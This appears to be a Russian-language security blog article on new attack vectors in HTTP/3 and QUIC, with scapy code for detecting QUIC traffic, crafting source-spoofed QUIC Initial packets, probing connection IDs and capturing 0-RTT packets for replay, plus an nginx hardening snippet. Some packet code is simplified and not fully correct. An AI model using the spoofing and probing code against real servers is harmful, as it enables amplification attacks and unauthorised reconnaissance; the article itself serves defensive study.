
36
HTTP/3 – это не просто «очередной апдейт», это полная смена транспортного уровня: вместо старого доброго TCP под капотом теперь работает QUIC (Quick UDP Internet Connections), и это открывает совершенно новую поверхность атаки.
Что такое QUIC и почему это важно
QUIC – транспортный протокол поверх UDP, изначально разработанный Google, а затем стандартизированный IETF в RFC 9000. Он решает три главные боли TCP: блокировку заголовка очереди (HoL blocking), медленный TLS-хендшейк и невозможность смены сети без обрыва соединения. QUIC совмещает первоначальное соединение с TLS-рукопожатием, уменьшая задержку до 0-RTT при повторных коннектах.
Стек выглядит так:
|
1 2 3 4 |
HTTP/3 └── QUIC └── UDP └── IP |
Новые векторы атак
1. Обход Deep Packet Inspection (DPI)
Традиционные IDS/IPS заточены под TCP-трафик. QUIC шифрует весь payload с самого первого пакета, включая служебные заголовки. Это значит, что middleware-устройства – файрволы, WAF, прокси – не могут разобрать содержимое трафика. Сигнатурный анализ ломается, как деревянный меч об дракона.
|
1 2 3 4 5 6 7 8 9 10 11 |
# Пример: детекция QUIC трафика через scapy from scapy.all import * def detect_quic(pkt): if UDP in pkt and pkt[UDP].dport == 443: payload = bytes(pkt[UDP].payload) # QUIC Initial packet: первый бит = 1, version bytes if len(payload) > 4 and (payload[0] & 0x80): print(f"[!] Potential QUIC packet from {pkt[IP].src}:{pkt[UDP].sport}") sniff(filter="udp port 443", prn=detect_quic, store=0) |
2. UDP Amplification через QUIC
UDP по своей природе – connectionless протокол, а это классический вектор амплификационных DDoS-атак. С QUIC появляется новая возможность:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# Концептуальный QUIC Initial Packet для тестирования (scapy) from scapy.all import * import os def craft_quic_initial(target_ip, target_port, spoofed_src): # QUIC Long Header: Initial Packet # First byte: 1100_0000 = 0xC0 (Long Header, Initial type) dcid = os.urandom(8) scid = os.urandom(8) quic_payload = ( bytes([0xC0]) # Long Header + Initial + b'\x00\x00\x00\x01' # QUIC version 1 + bytes([len(dcid)]) + dcid + bytes([len(scid)]) + scid + bytes([0x00]) # Token length = 0 + bytes([0x04]) # Packet number length + os.urandom(1200) # Padded payload (min 1200 bytes per RFC) ) pkt = ( IP(src=spoofed_src, dst=target_ip) / UDP(sport=RandShort(), dport=target_port) / Raw(quic_payload) ) return pkt # ТОЛЬКО для тестирования своей инфраструктуры! # pkt = craft_quic_initial("192.168.1.1", 443, "10.0.0.1") # send(pkt, verbose=0) |
3. Connection Migration Abuse
QUIC поддерживает Connection Migration – соединение привязано не к IP:PORT, а к уникальному Connection ID. Это удобно для пользователей (переход с Wi-Fi на мобильную сеть без разрыва), но создаёт новые угрозы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
# Пример перебора Connection ID (концептуально) import socket import struct import os def probe_connection_id(target_ip, target_port, cid_guess): """ Отправка Short Header пакета с угаданным CID Short Header: первый бит = 0 """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # QUIC Short Header header = bytes([0x40]) # Short Header flag packet = header + cid_guess + os.urandom(16) # fake encrypted payload sock.sendto(packet, (target_ip, target_port)) sock.settimeout(0.5) try: response, _ = sock.recvfrom(4096) return response except socket.timeout: return None finally: sock.close() |
4. 0-RTT Replay Attack
QUIC поддерживает 0-RTT resumption – данные отправляются до завершения хендшейка. Это создаёт классический вектор replay-атаки:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Структура перехватчика 0-RTT пакетов from scapy.all import * captured_0rtt = [] def capture_0rtt(pkt): if UDP in pkt and pkt[UDP].dport == 443: payload = bytes(pkt[UDP].payload) if len(payload) > 1: # Long Header + Early Data (0-RTT) type = 0xD0 if (payload[0] & 0xF0) == 0xD0: print(f"[+] 0-RTT packet captured from {pkt[IP].src}") captured_0rtt.append({ 'src': pkt[IP].src, 'dst': pkt[IP].dst, 'payload': payload }) # sniff(filter="udp port 443", prn=capture_0rtt, store=0) |
5. QUIC Smuggling / Protocol Confusion
Поскольку QUIC работает по UDP/443, можно использовать protocol confusion для обхода корпоративных прокси. Многие фильтры блокируют TCP/443, но пропускают UDP/443, ошибочно полагая, что «HTTPS всегда TCP».
Инструменты для исследования
| Инструмент | Назначение |
|---|---|
quiche (Cloudflare) | QUIC/HTTP3 библиотека на Rust |
aioquic | Python реализация QUIC |
Wireshark 3.3+ | Диссектор QUIC трафика |
ngtcp2 | Низкоуровневая QUIC имплементация |
curl --http3 | Быстрое тестирование HTTP/3 |
Защита: что делать
Инфраструктурные меры против новых векторов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Nginx: включение HTTP/3 с базовой защитой server { listen 443 quic reuseport; listen 443 ssl; ssl_protocols TLSv1.3; http3_max_concurrent_streams 128; # Добавляем Alt-Svc заголовок add_header Alt-Svc 'h3=":443"; ma=86400'; # Rate limiting на уровне nginx limit_req zone=quic_limit burst=20 nodelay; } |
Итог по поверхности атаки
QUIC и HTTP/3 – это прогресс, который сломал привычные модели безопасности. Весь трафик зашифрован с первого байта, UDP обходит большинство legacy-защит, а новые фичи типа Connection Migration и 0-RTT добавляют нетривиальные векторы. Безопасник, который не знает QUIC – уже отстал. Изучай RFC 9000, ставь Wireshark, и всегда тестируй свою инфраструктуру раньше, чем это сделают другие.